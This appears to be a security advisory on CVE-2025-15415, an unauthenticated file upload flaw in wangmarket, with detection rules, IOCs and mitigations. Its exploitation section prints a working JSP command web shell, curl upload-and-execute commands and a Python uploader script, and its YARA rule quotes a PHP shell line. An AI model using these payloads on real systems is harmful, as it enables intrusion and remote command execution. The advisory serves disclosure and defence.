CVE-2025-15415

Executive Summary

CVE-2025-15415 is an unauthenticated arbitrary file upload vulnerability in xnx3 wangmarket versions up to and including 6.4. The flaw resides in the /sits/uploadImage.do endpoint, which handles XML file processing. By manipulating the image argument, an attacker can upload arbitrary files (e.g., web shells) without proper validation, leading to remote code execution on the server. The vendor has not responded to disclosure, and no official patch is available. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public availability of exploit details increases risk.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone Java-based web application (wangmarket). No supply chain component is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerable component only.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification possible.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. While the CVSS is moderate, the lack of authentication and public exploit code elevates the real-world risk. An attacker can upload a web shell and gain persistent access.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the XML file handler component. The endpoint /sits/uploadImage.do accepts an image parameter that specifies the file path for upload. The application fails to validate the file extension, content type, or MIME type, allowing an attacker to upload executable files (e.g., JSP, PHP, or shell scripts) to the web root.

Attack Flow:

1. Identify the target running wangmarket (e.g., via Shodan dork).
2. Send a POST request to /sits/uploadImage.do with the image parameter set to a malicious file (e.g., shell.jsp).
3. The server stores the file in the web-accessible directory.
4. Access the uploaded file via browser to execute commands.

Root Cause: The uploadImage function does not sanitize the file name or path, and does not restrict uploads to image types only. The XML handler processes the request without checking the file content.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a representative snippet of the vulnerable Java method:

// Vulnerable code in wangmarket <= 6.4
@RequestMapping("/sits/uploadImage.do")
public void uploadImage(HttpServletRequest request, HttpServletResponse response) {
    String image = request.getParameter("image");
    // No validation of file extension or content
    FileUploadUtil.upload(image, request.getInputStream());
    response.getWriter().write("Upload success");
}

Patched Code (Hypothetical):

// Patched version would include:
@RequestMapping("/sits/uploadImage.do")
public void uploadImage(HttpServletRequest request, HttpServletResponse response) {
    String image = request.getParameter("image");
    // Validate file extension
    if (!image.endsWith(".jpg") && !image.endsWith(".png") && !image.endsWith(".gif")) {
        response.sendError(400, "Invalid file type");
        return;
    }
    // Validate MIME type
    String contentType = request.getContentType();
    if (contentType == null || !contentType.startsWith("image/")) {
        response.sendError(400, "Invalid content type");
        return;
    }
    // Use a secure upload directory outside web root
    FileUploadUtil.uploadToSecureDir(image, request.getInputStream());
    response.getWriter().write("Upload success");
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running wangmarket <= 6.4.
• Network access to the /sits/uploadImage.do endpoint.

Exploit Steps:

1. Create a malicious JSP web shell (e.g., cmd.jsp):

   <%@ page import="java.io.*" %>
   <%
   String cmd = request.getParameter("cmd");
   Process p = Runtime.getRuntime().exec(cmd);
   BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
   String line;
   while ((line = br.readLine()) != null) {
       out.println(line);
   }
   %>
   

2. Upload the shell using curl:

   curl -X POST -F "image=@cmd.jsp" http://target.com/sits/uploadImage.do
   

3. Execute commands:

   curl http://target.com/cmd.jsp?cmd=id
   

Alternative Exploit (Python):

import requests

url = "http://target.com/sits/uploadImage.do"
files = {"image": ("shell.jsp", "<%@ page import=\"java.io.*\" %><% Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\")); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } %>", "text/plain")}
r = requests.post(url, files=files)
print("Uploaded to: http://target.com/shell.jsp")

Blue Team (Defense & Detection)

Immediate Actions:

• Block access to /sits/uploadImage.do via WAF or reverse proxy.
• Monitor for POST requests to this endpoint with non-image file extensions.
• Restrict file uploads to specific directories with no execute permissions.

Honeypot Setup:

• Deploy a fake wangmarket instance and log all upload attempts.
• Use the following Python script to simulate the endpoint and capture attacker payloads:

from flask import Flask, request
app = Flask(__name__)

@app.route('/sits/uploadImage.do', methods=['POST'])
def upload():
    file = request.files.get('image')
    if file:
        filename = file.filename
        content = file.read()
        with open('/var/log/honeypot_uploads.log', 'a') as f:
            f.write(f"{filename}: {content.decode()}\n")
    return "Upload success", 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /sits/uploadImage.do with image parameter containing .jsp, .php, .war, or .jar extensions.
• Outbound connections from the server to unknown IPs (C2 traffic from web shell).

File System IOCs:

• Unexpected files in the web root (e.g., cmd.jsp, shell.jsp, backdoor.php).
• Files with execute permissions in upload directories.

Log IOCs:

• Access logs showing POST /sits/uploadImage.do with non-image file names.
• Error logs with FileUploadUtil.upload calls.

YARA Rule:

rule wangmarket_webshell_upload {
    meta:
        description = "Detects web shell upload attempts to wangmarket"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $upload_path = "/sits/uploadImage.do"
        $jsp_shell = "<%@ page import=\"java.io.*\" %>"
        $php_shell = "<?php system($_GET['cmd']); ?>"
    condition:
        $upload_path and ($jsp_shell or $php_shell)
}

Detection Engineering

YARA Rule

rule CVE_2025_15415_upload_attempt {
    meta:
        description = "Detects exploitation attempts for CVE-2025-15415"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $endpoint = "/sits/uploadImage.do"
        $image_param = "image="
        $jsp_ext = ".jsp"
        $php_ext = ".php"
    condition:
        $endpoint and $image_param and ($jsp_ext or $php_ext)
}

Sigma Rule

title: CVE-2025-15415 Unrestricted File Upload in wangmarket
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /sits/uploadImage.do with non-image file extensions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /sits/uploadImage.do
        cs-uri-query|contains: image=
    filter:
        cs-uri-query|endswith:
            - .jpg
            - .png
            - .gif
    condition: selection and not filter
falsepositives:
    - Legitimate image uploads with correct extensions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15415 wangmarket Unrestricted File Upload"; flow:to_server; http.method; content:"POST"; http.uri; content:"/sits/uploadImage.do"; http.client_body; content:"image="; pcre:"/\.(jsp|php|war|jar)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigations:

1. Disable the endpoint: Block /sits/uploadImage.do at the web server or WAF level.
2. Input validation: Implement server-side validation of file extensions and MIME types.
3. Secure upload directory: Store uploaded files outside the web root and serve them via a script that validates content.
4. Access controls: Require authentication for upload functionality.

Long-Term Fix:

• Since the vendor is unresponsive, consider migrating to an alternative CMS or applying a custom patch.
• Monitor for official updates from xnx3.

Workaround:

• Use a reverse proxy (e.g., Nginx) to restrict uploads:

location /sits/uploadImage.do {
    deny all;
    return 403;
}

Valters IT
DevSecOps & Cyber Threat Intelligence